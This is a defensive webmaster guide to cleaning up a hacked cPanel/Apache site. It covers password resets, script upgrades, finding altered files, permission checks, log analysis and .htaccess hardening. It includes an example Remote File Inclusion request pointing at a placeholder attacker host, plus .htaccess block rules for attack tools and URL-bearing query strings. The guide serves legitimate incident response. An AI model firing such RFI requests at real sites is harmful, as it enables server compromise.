Step-by-step site repair

• Hopefullly, this detailed step-by-step procedure will help focus on
  the tasks and avoid panic.
• The concepts apply to any server even though only Linux,
  Apache, and cPanel methods are described.
• The steps are in order of priority if the evidence you’ve found so
  far hasn’t already given you a clear idea
  what things to focus on first.

The reason these procedures are described in so much detail is so
that people who have never done them don’t have to go
hunting around the web for specifics. If you already know the specifics,
you’ll see that the steps are much less complicated than
they look at first glance, and you can skip the long explanations.

If you just start at step 1, focus, and dive in, what you learn now
will
help you manage your
site with a lot more confidence in the future. These are all useful
things to know how to do. You might even wind up feeling like
an expert.

What not to do

Don’t just repair the damaged files and hope this experience doesn’t
happen again. That is not enough.

Nobody is ever supposed to be
able to add, delete, or change files in your website without your
permission. It
should never happen, and it usually doesn’t. Most websites don’t get
hacked. If yours did, there is something wrong with it, or
with the server, or with the webhost, or with the security on your PC.
You have to figure out how this happened so you can prevent
it from happening again.

Ok, let’s get started… The checkboxes are to help keep your place
as you go.

1) Log into cPanel

Most webhosts provide some kind of control panel such as cPanel or
Plesk where you can manage your website’s configuration and
files. One reason for logging in now is to check for unauthorized logins
as described below. The more important reason is to make
sure you know how to do it, because several of the later steps are done
in control panel.

If you’ve never logged into your control panel before now, go to the
home page of your webhost’s website and look for a
customer login box. If there isn’t one, look for a FAQ page where they
might describe how to access your control panel. If you
still find nothing, file a support ticket and ask them.

In cPanel (and possibly in Plesk), the line that says “Last login
from:” should always be your IP
address from the last time you logged
in. If it isn’t,
write it down.

If you don’t know your IP address, it appears to be
61.94.163.125, but that could be incorrect if you are viewing an old
copy of this page from your browser cache or a search engine cache.
You can find your IP address in Windows XP by either of
these two methods (you must be connected to the internet at the time you
do this):

• Click on the internet connection icon in your system tray (lower
  right of screen)
  .
  In the dialog box that opens, click the Details tab, and then read the
  line that says Client IP address.
• Open a Command Prompt and run the ipconfig program:start
  > Run > cmdType: ipconfig Read the line that
  says
  IP AddressType:
  exit

With high-speed (broadband, DSL, cable) internet
service, your IP is always the same. With dial-up, it’s different each
time you log on.

If someone was able to log in to your control panel (like you do),
they have your userID, password, and all the same access to your
site that you have. They can probably also get FTP access, which is what
they are more likely to use than cPanel.
However, before you assume the worst, an unfamiliar IP could be
legitimate if your site is at a
webhosting company and you recently submitted a support ticket. A
technician might have logged into your account while investigating.

The three pieces of information you should keep from this step are:

1. How to log in to your control panel.
2. Your legitimate IP address, so you can
   recognize IP addresses that are not yours in places where only yours
   should be.
3. Suspicious IP addresses you find reported
   in cPanel.

Leave cPanel open for the next two steps.

2) Enable log archiving in cPanel

Your website access logs keep detailed records of who connects to
your site by HTTP (normal visitors) and by FTP (file
transfers such as when you publish pages). By default, those logs are
deleted every day after the stats run (Webalizer,
AWStats, …. Log archiving forces the logs to be saved. If archiving
was already on, the attack is most likely recorded, which will be
useful. If
it was off, the data is lost unless the daily stats run hasn’t been done
yet, but subsequent similar attacks, which are likely, will be logged.

1. Go to cPanel > Raw Log Manager (the name varies in different
   cPanel versions).
2. Check the “Archive Logs…” box.
3. Uncheck the “Remove the previous month’s archived logs…”
   box.
4. Click Save

3) Take your website offline

If your pages have become infected with viruses that will attack your
site visitors, which is usually the case, you
should
protect your visitors, and your reputation, by
taking your
site offline, which involves adding a
few lines to your .htaccess and optionally uploading a file. If you do
this right away, you might avoid
getting the “This site may harm your computer” warning in Google search
results and a similar warning at Yahoo.

Are you hesitant to take your site offline? Consider this: a visitor
who finds your site down will hardly notice the incident
and will (or at least might) come
back later. A visitor who gets attacked by a virus from your site will
develop a strong memory of the incident and probably not come back,
ever.

In addition, it is possible that a script with a security hole was
the reason the site got hacked. As long as that script is publicly
accessible, the site remains vulnerable, which means it could get hacked
again even while you’re trying to repair it.

Lastly, it is possible the attacker installed a backdoor script to
let themselves back into the site. Closing the site at least has a
chance of locking them out and making it impossible for them to use the
backdoor, giving you time to
find and
delete it.

4) Notify your web hosting company

File a support ticket.

• Tell them what has happened. Give them as much detail as you can
  about the evidence that the site is compromised.
• If you have some idea when it happened, or when you first noticed
  it, tell them.
• If you found an unknown IP address in
  cPanel, report it.
• Give them a secondary email address that is not at your website so
  your host can still contact you if your site goes down or if the
  hacker is reading or deleting your website email.
• Some webhosts will be willing to help you investigate and clean the
  site. Others won’t, but it doesn’t hurt to ask if they can
  help or give advice.
• If you’re on shared hosting, it is possible that the host is aware
  of other sites on your server that are affected. They
  probably won’t publicize it and might not even tell you, but your
  report will help them, even if they don’t admit it.
• Also, only your webhost can clean up files outside your webspace
  that might have been affected.

5) All site administrators do antivirus,
antispyware scans on their PCs

It is a new development in 2009 that the #1 cause of website hacking
is the webmaster’s personal computer being infected by malware
that steals FTP
login information and sends it to remote computers which then inject the
victim website’s pages with JavaScript or hidden iframes pointing to
malicious websites such as gumblar.cn, martuz.cn, and a
growing list of others.

Make sure everyone who has password access to the website does at
least one, and preferably two, antivirus and antispyware
scans on their local computers, using two different scanners they don’t
normally use, to find threats that got
past the AV scanner they were using. Some free scanners are at: Trend Micro
Housecall, Kaspersky,
Malwarebytes, Symantec (Norton), BitDefender,

Windows Live OneCare,
Computer Associates, McAfee,
F-Secure.

As long as the webmaster’s PC is infected, changing the password is
no use. The new one gets stolen, too.

6) Change
all passwords: cPanel, FTP, databases, email

After the administrator PCs are free of viruses and spyware, change
all the website passwords that you use for
control panel, FTP, database connections, email, everything. Use
strong
passwords.
If you have been using a single password for more than one purpose, take
this
opportunity to make every password different. The linked
article explains why this is important.

a) If the FrontPage Extensions are installed on the site, change your
FrontPage password first:

1. Open your local copy of your site in FrontPage
2. Click the Remote Web Site tab and log in
3. Click Open your Remote Web site in FrontPage (this will open
   a
   new copy of FrontPage with your remote site in it)
4. Click Tools > Server > Change Password and follow the
   instructions. Whenever you get a
   password prompt during this procedure, it wants the old one. It doesn’t
   want
   the new one until it asks for it.

b) Log in to your webhosting account and change your cPanel / FTP
passwords there

In cPanel, look for a “Change Password” icon
or link. If you find none, your webhost might provide a separate
login location for making password changes, so search their FAQ, forum,
or ask customer support.

If you have scripts that use your cPanel userID/password to open
database connections, the password change will cause those scripts
to stop working, and you will get connection failure or “Could not
connect” errors:

• If the connection data is hard-coded into
  the scipts, go through the
  scripts and change the password in all of them.
• If your scripts read the connection data
  from an include (or other)
  file, change it in that file.
• Since you’re editing the files anyway, a
  better and more permanent solution is to stop
  using your cPanel userID/password, create a different user/password
  just for
  database connections, put the connection data in one protected include
  file, and have all your scripts read the data from that file.
  The procedure for making that change is described
  below.

c) Change the passwords you use for database connections

If your scripts connect to your databases as a user that is not
your
cPanel userID, the password change will not break your scripts. However,
the
hacker could have read the connection data for all your MySQL users from
your
files, so change all those passwords, too:

1. Go to cPanel > MySQL®
   Databases >
   Current Users.
2. In the list, find the user you want to modify. In shared hosting
   (and
   maybe in other environments, too), the username is prefixed with

   YourUserID_.

3. In Username: enter the name of the user, but do not
   enter the prefix or the underscore. Enter only the part after the
   underscore. If the user is userID_example, then you enter example.
4. In Password: enter the new password.
5. Click Create User.
6. The confirmation screen will tell you that the user was created
   with the
   new password.
7. When you return to the MySQL Account Maintenance screen, you’ll see
   that
   you have not really added a user, but only replaced the old one’s
   password,
   and that this user still has the same privileges in the same databases
   that
   it had previously. You will also see that cPanel has automatically
   added the
   userID_ prefix to the username.
8. Now change all your scripts to use the new passwords. See the
   bullet points in section b) above.

d) Change the passwords for all your email accounts

1. Go to: cPanel > Mail >
   Add/Remove/Manage Accounts.
2. Set a new password for each account.
3. If you access your email with a POP or IMAP
   email client such as
   Microsoft Outlook, change its configuration settings so it knows the
   correct
   new password for each account.

7) Upgrade all third party scripts to latest versions

Make a list of all the scripts you use. For each, if you are not
using the latest version, upgrade now.

Follow links in the table below to find latest version information
for some common scripts, and to view the latest security
advisories at Secunia.com. The Secunia page often lists vulnerabilities
found in plug-ins or add-ons. Check those, too. If there
is a recent security advisory for a script you use that is outdated,
there is a good chance you’ve found the reason your site was
hacked.

Link to latest version information

Security advisories at Secunia.com

CKEditor / FCKeditor

Security
Advisories

Coppermine Photo Gallery

Security
Advisories

CubeCart

Security
Advisories

Drupal

Security
Advisories

Joomla (all
versions)

Security
Advisories

Joomla
Vulnerable Extensions List (VEL)

Mambo

Security
Advisories

Noah’s
Classifieds

Security
Advisories

Nucleus CMS

Security
Advisories

osCommerce

Security
Advisories

phpBB

Security
Advisories

SMF (Simple Machines
Forum)

Security
Advisories

TinyMCE

Security
Advisories

vBulletin

Security
Advisories

WordPress

Security
Advisories

Xoops

Security
Advisories

Zen Cart

Security
Advisories

Examine your own PHP or ASP.NET code for security holes

The “What is a website hack?” article (top of this page) has more
information about the following three most common exploits of
custom code, and some others:

Remote File Inclusion (RFI), Local File Inclusion (LFI)

The following PHP functions:
include($variable);
require($variable);
include_once($variable);
require_once($variable);

can be tricked into fetching a malicious script from a remote server
and running it as part of the currently executing script,
if the value of $variable came from an HTTP query string or any other
user-supplied input and if the value supplied is a URL (web
address) rather than the value that the programmer expected.

They can be tricked into divulging the contents of password or other
sensitive files if the supplied value of $variable is a
local file path on the server.

SQL Injection

When an HTTP query string, or any other data from the outside such as
input to a search box, is used in the building of an SQL
database command string, maliciously crafted input can corrupt the SQL
command, causing it to inject content into database tables
or list the contents of the database (such as user names and passwords)
on the output page. A widespread attack that used SQL
injection was called
ASPROX.

If you suspect that a script you wrote yourself might be the security
weakness, it is safest to stop using that script until
you can examine it carefully. After making a local copy for yourself,
delete the script from the server. Removing the links to it
isn’t enough. As long as the script is on the server, anyone who already
knows its name can still access and exploit it. If you
leave it on the server, at least rename it.

9) Find and repair all the malicious changes that were made

Now that you have discovered where the security weakness was, and
fixed it, it is now safe to repair your website’s content,
because the attackers won’t be able to damage it again.

As described in the “What is a website hack?” article (top of this
page), after someone has gained access to your site, they
can change anything they want and can do an extraordinary amount of
damage. In order of most to least common:

• Alter .html, .php, and other text web pages, usually to inject
  iframes, JavaScript, links, PHP, or other malicious code.
• Modify database tables, usually to inject the same types of content
  listed above, so it will appear on your
  pages.
• Add new files.
• Add executable programs to let the attackers “manage” your website
  files remotely, grant them access even after you clean
  up (back doors), send spam, connect to IRC servers for botnet
  communications, mass-attack other websites, etc.
• Subvert the operating system, putting the entire server under the
  control of a remote operator.

However, they rarely do all those things because a server so
massively compromised would be quickly noticed, and they don’t
want that. Usually, they do the first or second item and possibly the
third, meaning that you will probably have to clean up
malicious changes in your website files or database tables, and look for
new files that shouldn’t be there.

Two “clean sweep” shortcuts: replace entire website from known-good
backups

Steps 9a) to 9d) describe ways to locate and repair files that have
been maliciously altered, which can be a time-consuming and
painstaking chore, especially if you’re not comfortable working with
HTML code.

In some cases, it can save time to simply replace everything that
might have been damaged with fresh copies that you know are
clean. However, doing this destroys the evidence you might need for
determining how the attack occurred and how to prevent it
happening again. Therefore, before doing this, you should already have a
clear idea why the attack succeeded, or should make a
copy of the hacked site so you can study it later:

• Less drastic – replace contents of public_html: If you are
  thoroughly familiar with what is in your public_html
  folder and you are certain this method won’t destroy irreplaceable
  files, you can use cPanel > File Manager or FTP to delete
  all the files and folders inside
  /public_html (but don’t delete the public_html folder itself)
  and republish the entire site from a known-good backup.

  It will still be a good idea to look for damaged files or malicious new
  ones in your root directory (/) and its other subdirectories
  other than public_html.

• More drastic – reprovision: To really start fresh at a
  shared host, you can ask the host to
  “reprovision” your account, to recreate it as though it is brand new.
  You lose your historical logs and stats and must
  build the site up from nothing. I recommend against this unless all
  other options have failed.

If you have published your site from known-good backups, you can skip
a ton of trouble and go to Step 10)!

9a) Get a
complete listing of all the files in your website

These sections (9abc) describe three ways to view a list of all the
files in your website: shell command (cron), FTP, and
cPanel File Manager.

Linux “cron” allows you to run a shell command that emails to you a
complete listing of all the files in your site, showing
for each the name, timestamp, size, owner, and all the permissions
settings. This is by far the best method. It is described fully
in a separate
article that also
explains Linux file and folder permissions.

How to use the directory listing:

It is ideal if you have a similar list that you made previously when
the site was
clean. You can compare the two to find files that have changed size,
files whose timestamps
or permissions are not what they should be, and new files that
shouldn’t be there.

If you don’t have a known-good list to compare against, you can still
review the new list
for files that seem out of place or have wrong ownership or
permissions. This will be discussed below.

9b) Examine your site’s files in cPanel > File Manager

FileManager allows you to easily review filenames and permissions,
but it doesn’t show any other information about the files,
and navigating
up and down the directory tree is a tedious process. File and folder
permissions are shown numerically. The article linked
above at
“Get a complete listing” describes how to translate between numeric
“755″ and “rwx” notation.

9c) Examine your site’s files using FTP

In an FTP view of your website, the folders and files look like what
you are used to in Windows Explorer, with a navigational directory tree
pane on the left and a folder contents pane on the right. FTP view is
easy to navigate, and it allows sorting on the Date Modified column
to easily spot recently changed files. If you are unfamiliar with
viewing your site by FTP,
this
article describes how to use Windows Explorer for
that, and it has a link to a free Firefox plugin (FireFTP) that does it
better.

9d) What to look for in the list of files

• Pages with modified dates more recent
  than you last saved the page yourself. Inspect each modified page to
  see if
  code has been added to it. Malicious changes to your displayable
  website
  pages often take the form of invisible iframes or “obfuscated”
  JavaScript. A separate article,
  
  what to do when Google flags your website with a “This site may harm
  your
  computer” warning, describes how to locate and identify malicious
  iframes and JavaScript, with examples. It also describes how the domain
  name referenced in the iframe can help discover the
  method by which your website was hacked.

  If malicious JavaScript or iframes were added to your pages, the
  intent of the attack was probably to launch browser exploits against
  your site’s
  visitors.

• New files with obviously suspicious names.
  Some hacks install files with names like hacked.html or
  vulnerable.php, etc. Others might have nonsensical names or names
  consisting of random character strings. Some might be in locations
  that make them suspicious, like a .php file in your /images folder. If
  you
  find a file that was definitely installed by the attack, search for
  other
  files that have almost the exact same timestamp.
• Files you don’t recognize.
  Determine whether each one is malicious or not. You can examine plain
  text
  PHP (.php) or Perl (.pl) scripts in a text editor.

  Unfortunately, you cannot simply delete all the files that aren’t
  yours. Some
  are required system files that you just never
  noticed before. When in doubt, do a web search on the filename or post a

  question in a forum. Research the names of unfamiliar CGI programs,
  since
  they cannot be examined visually.

  If an exploit modified files on your server but didn’t affect your
  displayable pages,
  it suggests that your site visitors weren’t the target of the attack.
  Instead, it might have been trying to turn your site
  into a spam emailer or into a robot
  crawler to attack other sites, or to install on your site a library of
  malicious scripts or other content to be called by injected iframes or
  RFI
  attacks on other websites.

• Check your root directory (“/” and its
  subdirectories for
  malicious or altered files. Even if you
  delete the contents of your public_html and republish the site from
  scratch,
  that doesn’t overwrite your folders above public_html, so you must
  check those manually.

10) Check that your file and folder permissions are secure

Using the complete file list you made, make sure file and folder
permissions are what they
should be. Although your complete file list is a text file, the search
isn’t too difficult. You can search for suspicious
“world-writable” 777 folder permissions by searching for the equivalent
“rwxrwxrwx” in the text. World-writable 666 file
permissions appear in the text as “rw-rw-rw-”.

Common correct permissions for world-readable (but not
world-writable) folders are 755 (rwxr-xr-x), and common
permissions for world-readable files are 644 (rw-r–r–. Those are what
you should mostly expect to see.

There are only two situations where world needs write access (777 /
666), and both only apply if your server is configured with
PHP as an
Apache module:

• A file needs 666 permissions if PHP needs to a) open the file and
  write data into it, or b) copy another file to the
  directory entry currently occupied by this file.
• A folder needs 777 permissions if PHP needs to a) dynamically
  create new files in it, or b) delete existing files from it.
  However, if PHP only needs to open and modify the contents of an
  existing file or even copy another file to the directory slot
  occupied by an existing file, the folder does not need 777 permissions.
  It is only necessary that the destination file
  have 666 permissions. That is counterintuitive because you would think
  that copying a file involves deleting the existing file
  and putting the new file where it was, but that is not how Linux views
  it. It only considers it a change in the file’s
  content, not a change to the directory, so the directory can remain
  read-only. This is important because there may be some
  files that PHP only needs to create once, during a program’s
  initial installation when it’s setting up its data files.
  After that, it’s possible PHP can do everything it needs with the file
  set to 666 but the directory locked back down to
  read-only 755. That is much better because although that one file
  remains potentially vulnerable to modification, a hacker
  cannot put new malicious files in a 755 directory.

If you find world-writable permissions on a file or folder, consider
it potentially suspicious because those are areas the
hacker could have accessed most easily:

1. Check the contents of 777 folders to ensure they don’t contain
   malicious new files.
2. Check the contents of 666 files to ensure they don’t contain new
   malicious code.
3. If you can’t think of a good reason why the loose permissions are
   necessary (does PHP really need to make the changes
   those permissions allow?), try tightening them to 755 / 644.
4. Even if you do know why the loose permissions are necessary, try to
   think of a way to make those permissions unnecessary.

11) Change all your passwords again

In case someone was “watching” inside your site while you did it the
first time, do it again now that you know the site is
clean.

12) Try to identify the IP address that attacked you

This is not to hunt down the attacker, which is usually pointless
(most are robots, and there are millions of them). Rather, the IP
address helps
find other important information about the attack.

If you can identify their IP address, you will be able to search all
your logs for all the
places where that IP address appears. That will help identify what weak
part of your site was attacked, how it was attacked,
and what malicious actions were performed.

Stats programs like Analog, Webalizer, or AWStats won’t be much help
because they generate aggregated statistics. You need the details
about individual page requests.

cPanel > Web/FTP Stats > Latest Visitors is useful and
easy. It’s a
good place to go when you first discover the problem, but it’s only a
start. The full raw logs are a better source of information.

a) If you have never used your site’s raw
access logs before, get a program to unzip .gz files:

You website’s raw access logs are stored and sent to you as gzipped
files.
One program that will easily extract .gz files is
7-Zip.
It is a command
line utility that you run from a “Command Prompt” (aka “DOS box”.

b) Get your logs from cPanel > Raw Log Manager

1. Go to cPanel > Raw Log Manager. If you don’t see a log
   file
   there, try cPanel > Raw Access Logs. That is a holding file where
   your data is stored until the server does its daily statistics
   processing, after which it is transferred to Raw Log Manager.
2. Click the name of the file you want to download.
3. At the Open or Save prompt, click Save. Use a descriptive
   filename. Save the file to a folder that will be easy to navigate to in
   a
   Command Prompt. C:\\TEMP works well.
4. Open a Command Prompt:
   Start > All Programs > Accessories > Command Prompt, or

   Start > Run > cmd.exe

5. Go to the folder where you saved the .gz file: cd \\TEMP
6. Type the command line to extract the .gz file: 7za.exe x
   filename.gz
7. You should get a report that says “Everything is Ok”.
8. I usually delete the .gz file and rename the output file to .log.
9. WordPad is good for viewing these log files as text (if they are
   less than about 12MB). Set the font
   to a monospaced font, with word wrap Off.
10. If you are comfortable using Microsoft Access, the
    
    Webstats.mdb database has tables into which you can import your log
    files.
11. The HTTP log will also import into Excel, but you will need to
    tweak the
    text import wizard settings to get the fields into their columns
    properly.

Go through the logs carefully, looking for suspicious activity
in the days before the attack occurred, and keep monitoring your logs in
case they come back, which they often do.

Your regular log shows HTTP accesses, your normal site visitors.

In the log entries, review the field called REMOTE_USER, User, or
UserID.
This field is blank (“-” most of the time. Where it does have a value,
make
sure it’s your UserID and that the IP address is yours.

Mixed in with all the legitimate requests, look for attempts to GET
pages that don’t exist (result code = 404),
especially when the request looks like:

GET
/filename.php?inc=http://badsite.com/badscript.txt.

These are looking for vulnerable scripts and attempting to inject
code into them. They are called Remote File Inclusion (RFI) attacks.
They are
extremely common, dangerous, and often successful.

Look for requests where the action is not GET, but PUT (very
suspicious).

Try to correlate entries in your log with other site activity. For
example, a
hacked file will have a timestamp showing when it was modified. If your
HTTP log
shows that someone requested one of your .php files at the moment of the

timestamp, that is very suspicious, especially if the GET command
contained code
like the above (…php?inc=). In the example above, you would examine
filename.php for security
vulnerabilities. This is how your
logs can help identify how a hacker got in.

In the above example, you could also use your browser to download the

badscript.txt file for inspection. If it calls other files from other
sites,
you can go get those, too. Following the trail and examining the code
will
reveal what the attack did to your site. Make sure your antivirus
software is
up-to-date. Some of these files (PHP scripts) would normally only
be hazardous to your server, not to your home PC and browser, but others

(especially the second-level ones called by the original PHP
script) will
directly try to infect your PC with viruses. Wget is a useful utility
for retrieving
potentially hazardous files without allowing them to be processed by a
browser.

Your FTP log shows FTP accesses, one way that malicious people or
robots can download
your pages, modify them, and upload them back to your website. The only
IP
addresses in the FTP log should be yours and other authorized FTP users.
Make sure the timestamps match times you were logged
in and doing transfers.

There is reference information about FTP log file format at

Apple Developer Connection.

I’ve seen reports of numerous instances where a webhost spotted in an
FTP log a
transfer from an IP address other than that of the site owner and
immediately
informed the owner that their password had been stolen. In too many of
these instances, the surrounding circumstances make the webhost’s claim
unbelievable. Here is an
alternative explanation:

PHP scripts called by RFI attacks sometimes use PHP’s FTP file
transfer functions to
download additional malicious scripts and related files from a remote
server so it
can run or install them. The initial RFI includes the remote script into
a
legitimate script on the victim server, at which point it becomes a part
of that
script. The script then initiates an FTP transfer, which is recorded in
the FTP log. The server does not show its own IP address in the FTP log,
but
rather that of the second party to the transfer, the remote website. The
log of the
session makes it appear as though someone logged in (which would have
required the password) and initiated an FTP transfer, but in fact there
never was a login. There didn’t have to be one,
because the session was initiated on the server, from the inside.

Remember this as a
possibility if you find IP addresses other than yours in your FTP log or
if your
webhost tries to convince you too quickly, without considering other
evidence, that your password “must have been” cracked. The danger
of believing this easy story line (if it is not true) is that it can
lead you to believe that all you have to do is change your password.
However, if the real initiator of the FTP transfer was
an RFI attack, changing your password won’t help at all.

c) Use .htaccess or cPanel > Deny IP to block the hacker’s HTTP
access to your site

If you identified the hacker’s IP address, one site where you can
look it up
to get more information about it is
http://whois.domaintools.com/.

You can ban the IP address from your site using your public_html/.htaccess

file. Apache documentation for this is at:
http://httpd.apache.org/docs/1.3/mod/mod_access.html.

Review the instructions in a

prior article for how to open .htaccess for editing. As described
there,
insert the following line in a part of the file that is not enclosed in
HTML-like tags.

deny from nnn.nnn.nnn.nnn

The nnn’s are the IP address to block.

If the hacker returns with a different IP that is in the same IP
range (i.e.
using the same
ISP), you can block the whole range for a while,
although that carries the risk of banning legitimate visitors, too.

The Apache documentation has
instructions for banning a range. Some IP ranges
are easily specified using a simple wildcard notation. Others ranges can
only be
successfully defined using “CIDR/netmask” notation. Although it looks
intimidating, it’s easy after the first time you do it. See the separate

article describing
how to
calculate
and use the CIDR/netmask.

d) If the hacker has obtained access to your cPanel or FTP,
banning their
IP address in .htaccess will NOT keep them out of cPanel and FTP.

If they have scripts that they call by HTTP, it will prevent them
from doing
that, but only until they log into cPanel and un-ban themselves in
.htaccess.

13) Report or go after the hacker legally?

Hacking is a violation of the terms of service for any legitimate
webhost or ISP. If you can
prove conclusively that someone is using a particular IP address for
hacking (or spamming, too), you could
report the incident to the webhost or ISP in hopes that they might
shut the perpetrator down. The contact email is often abuse@ the
company.

However, your chances of getting anywhere with this aren’t very
great. Even if you succeed, it’s a drop in the bucket. Although
you might feel as though you are in a battle of wits with a wily
adversary, it is thousands of times more likely that you were hit
by an automated drive-by attack that is playing a percentage game, with
malicious requests being launched against millions of
websites, from hundreds of malicious servers. If one is shut down, it’s
just a cost of doing business for them.

It is a more worthwhile use of your time to do everything you can to
protect your site from all hackers, regardless of
who they are, and understand that there will be a constant flood of
attacks against your site.

What to do NOW to protect your website

Website security
precautions

1) Maintain strong security on the computer that you use to manage your
website

Someone who successfully hacks your computer can use it as a doorway
to your website.

• Install good quality antivirus software on your PC to keep it free of
  viruses and Trojan downloaders that can install spyware
  such as keyloggers and password-stealers. Get
  continuous real-time protection. On-demand scanning (such as
  once-a-day) is not good enough. Malware can do all its damage,
  steal your data, and even delete itself, in the time between your
  manual scans.
• On a Windows system, once a month, while logged into your PC as an
  Administrator, visit
  Windows Update to install
  the latest
  security patches for Microsoft products, including Internet Explorer.
• Keep all your internet-related software such as browsers, plug-ins, and
  add-ons up to date with the latest security
  patches. Examples are Adobe Reader, Flash, and Java. You can check
  whether your Firefox plugins are up to date at
  Mozilla Plugin Check.
• Use adequate security settings in your web browser. When Internet
  Explorer and Firefox are first installed, their default
  security settings are not high enough, and most people don’t change
  them. Set JavaScript so it is Off by default and only
  enabled for trusted websites that require it. Follow
  best practices for IE, and use the
  NoScript
  add-on in Firefox.
• On a wireless network or in a public “hot spot”, your data is
  transmitted by radio, and it is easy for someone nearby to
  monitor everything you send and receive that is not encrypted. Normal
  web browsing on http:// websites is not encrypted, and
  neither is a normal FTP login. Whenever you are “working wireless”, use
  encrypted https:// to log in to your server, and use secure FTP
  (SFTP)
  to transfer files.

2) Follow accepted best
practices for your website
passwords

• Use strong passwords: 8 to 20 random upper/lower/numeric/punctuation
  characters.
• Use a different password in every location.
• Only give your password to people who must have it.
• If you give your password to someone temporarily, change it as soon as
  their work is finished.

3) Choose third party scripts carefully

Don’t load your website with every cool script, gadget, feature,
function, and code snippet you can find on the web. Any one of them
could let a hacker into your site. Before you use
something new, read its vulnerability report at Secunia.com,
and do a web search on it to see if people talk about it as a security
hazard. Some add-ons and templates are designed to be
malicious. Ways to avoid those are described by the Google Blogger Team
in
Keeping
Your Blog Secure.

4) Keep third party scripts up to date

Once you have installed a script such as WordPress, SMF, Coppermine,
phpBB, or any others, find a way to make sure you are
notified quickly when security updates are released. Get on a mailing
list,
subscribe to an RSS feed, subscribe to a forum board, create a Google Alert, whatever
you need to do. When a security update is released, install it within 1
day, if possible.

5) Write your own scripts securely

• For the language you use, find and read an overview about security:
  PHP, ASP.NET, Cold Fusion, …
• When you use an unfamiliar function for the first time, check the
  manual for security considerations.
• For PHP, use a good
  
  php.ini file for extra security, to block common attacks.
• Learn to instinctively distrust data from the outside world and to
  program defensively so your scripts aren’t fooled
  by malicious input. Outside data includes: form submissions, HTTP query
  strings, cookies.
• Read about “Remote File Inclusion” and how to prevent it. (#1 most
  common security error)
• Read about “SQL Injection” and how to prevent it. (#2 most common
  security error)
• There are lots of online resources for learning how to code securely.
  All it takes is a web search.

6) Block suspicious activity with .htaccess

Download and examine your raw access logs. You will find
attacks of the types described in my articles. Even if the attempts are
unsuccessful, your logs give early warning about what methods are
being used, which gives you time to figure out how to defend against
them. It won’t be long
before you can tell what is a legitimate request and what is malicious.
Here are
some examples of how to block suspicious activity:

1. Ban bad robots.
   One program often misused for automated remote file
   inclusion attacks is called  “libwww-perl”. The RFI cannot succeed if
   your server refuses to serve the file, so blocking this commonly
   malicious
   User-Agent is one defense. Put the following lines in your
   public_html/.htaccess, in a part of the file that is not
   delimited by HTML-style tags like <tag></tag>:

SetEnvIfNoCase User-Agent libwww-perl
block_bad_bots
# to deny more User-Agents, copy the line above and change
# only libwww-perl, to match the new name.
deny from env=block_bad_bots

SetEnvIfNoCase does a case-insensitive test of the User-Agent
against a
regular expression, which in this case is “contains libwww-perl”. If it

matches, it sets the variable block_bad_bots. The final line says if
block_bad_bots was set (i.e. if the requestor matched any of the bad
robots), deny the request and send a 403 Forbidden error
instead. Regardless of what the bad robot was trying to do, it won’t
succeed.

1. Ban suspicious URL query strings.
   Another defense against RFI is to block all requests having the form:
   GET
   /index.php?inc=http://badsite.com/badscript.txt?
   The following .htaccess code blocks any request where the query string
   (the
   part after the first question mark)
   contains “=http://” or “=ftp://”.
   During times when you need to use a query string of that type yourself,
   you can
   comment out the code block or enable the exception shown:

# If the next line is already in your
.htaccess, you don’t need to add a 2nd one.
RewriteEngine On
RewriteCond %{QUERY_STRING} ^.*=(ht|f)tp\\://.*$
[NC]
# Allow yourself, for SMF Forum Package Manager upgrades.
# Set it to your own IP address so you are the only one who won’t be
blocked.
#RewriteCond %{REMOTE_ADDR} !^111\\.222\\.333\\.444$ [NC]
RewriteRule .* – [F,L]

To test: you should get a 403 Forbidden error when you try to go to:

http://yoursite.com?test=http://yoursite.com/anypage.htm

http://yoursite.com?test=ftp://yoursite.com/anypage.htm

If you have coded your pages so they use remote file includes from
your own
site or from some external site (such that your site receives requests,
constructed by you, that have URLs in the query
strings), my first advice is that you should try to stop doing
that:

• Instead of sending your own site a request that has a URL in the
  query string, you can put in the query string a text
  string that the receiving page translates into a URL after it
  receives it. That way, your script can’t be tricked
  by someone who sends it a malicious URL instead of one of the
  legitimate ones it expects.

If you must send your own site requests that have URLs in the
query strings, you can use a more complicated
.htaccess to allow your own remote file inclusion requests but ban
others:
# FIRST, DISALLOW QUERY STRINGS
CONTAINING MORE INSTANCES OF http://
# THAN WE EVER USE OURSELVES, TO LIMIT THE NUMBER OF TESTS WE MUST DO
LATER.
# THIS EXAMPLE ALLOWS ONLY INSTANCE PER QUERY STRING.
RewriteCond %{QUERY_STRING} (.*http(\\%3A)(/|%2F)(/|%2F).*){2,} [NC]
RewriteRule .* – [F,L]
# NOW WE CAN TEST EACH INSTANCE AGAINST THE LIST OF SITES WE WANT TO
ALLOW.
# SINCE THIS IS A NEW REWRITE RULE, WE MUST TEST AGAIN WHETHER IT
CONTAINS http://
RewriteCond %{QUERY_STRING} http(\\%3A)(/|%2F)(/|%2F) [NC]
# THEN FALL THROUGH TO THE BAN IF IT IS NOT ONE OF THE SITES IN OUR
ALLOW LIST.
RewriteCond %{QUERY_STRING}
!(http(\\%3A)(/|%2F)(/|%2F)(www\\.)?site1\\.com) [NC]
RewriteCond %{QUERY_STRING}
!(http(\\%3A)(/|%2F)(/|%2F)(www\\.)?site2\\.com) [NC]
#ADD A LINE FOR EACH EXTERNAL SITE YOU WANT TO ALLOW TO APPEAR IN QUERY
STRINGS.
RewriteRule .* – [F,L]

Allowing for more than one instance of http:// in your query strings
is possible. It requires complex code that we can
custom design for you if needed.

Other query string bans:
1) Malicious RFI attempts almost always have a question mark
at the end of the query string. Ban any query string that contains a
question mark.
The first question mark (which marks the beginning of the query string)
is not part of the query string,
so only question marks after the first one will trigger the ban:
RewriteCond %{QUERY_STRING} (\\?|%3F) [NC]
RewriteRule .* – [F,L]

2) Be creative: find other characteristics that are
common in the attacks on your site but that are never present in
legitimate
requests. Be thorough: use every good ban rule you can think of. It is
very satisfying to see an attack on your
site and know that even though it only needed to trigger one ban
rule to fail, there were six others in reserve that
it would have triggered.

1. Ban IP addresses responsible for suspicious activity.
   You can
   
   block IP addresses (or ranges) in .htaccess or by cPanel > Deny
   IP.
   Although such bans can be useful against IP addresses you are 100%
   certain
   will never make a legitimate request, they aren’t otherwise very
   practical.
   Once a botnet starts attacking your site, the requests will come from
   hundreds of different IPs, and banning them all will be futile. It is
   much
   better to ban by the other characteristics of the requests.

See this
forum thread for further discussion about using .htaccess to block
malicious requests, links to websites with
suggested .htaccess code for blocking such requests, and a basic
introduction to help understand the Perl regular expressions that
are used for pattern matching in .htaccess.

7) Don’t weaken your server’s file and folder permissions.

Each file and folder on your server has permissions settings that
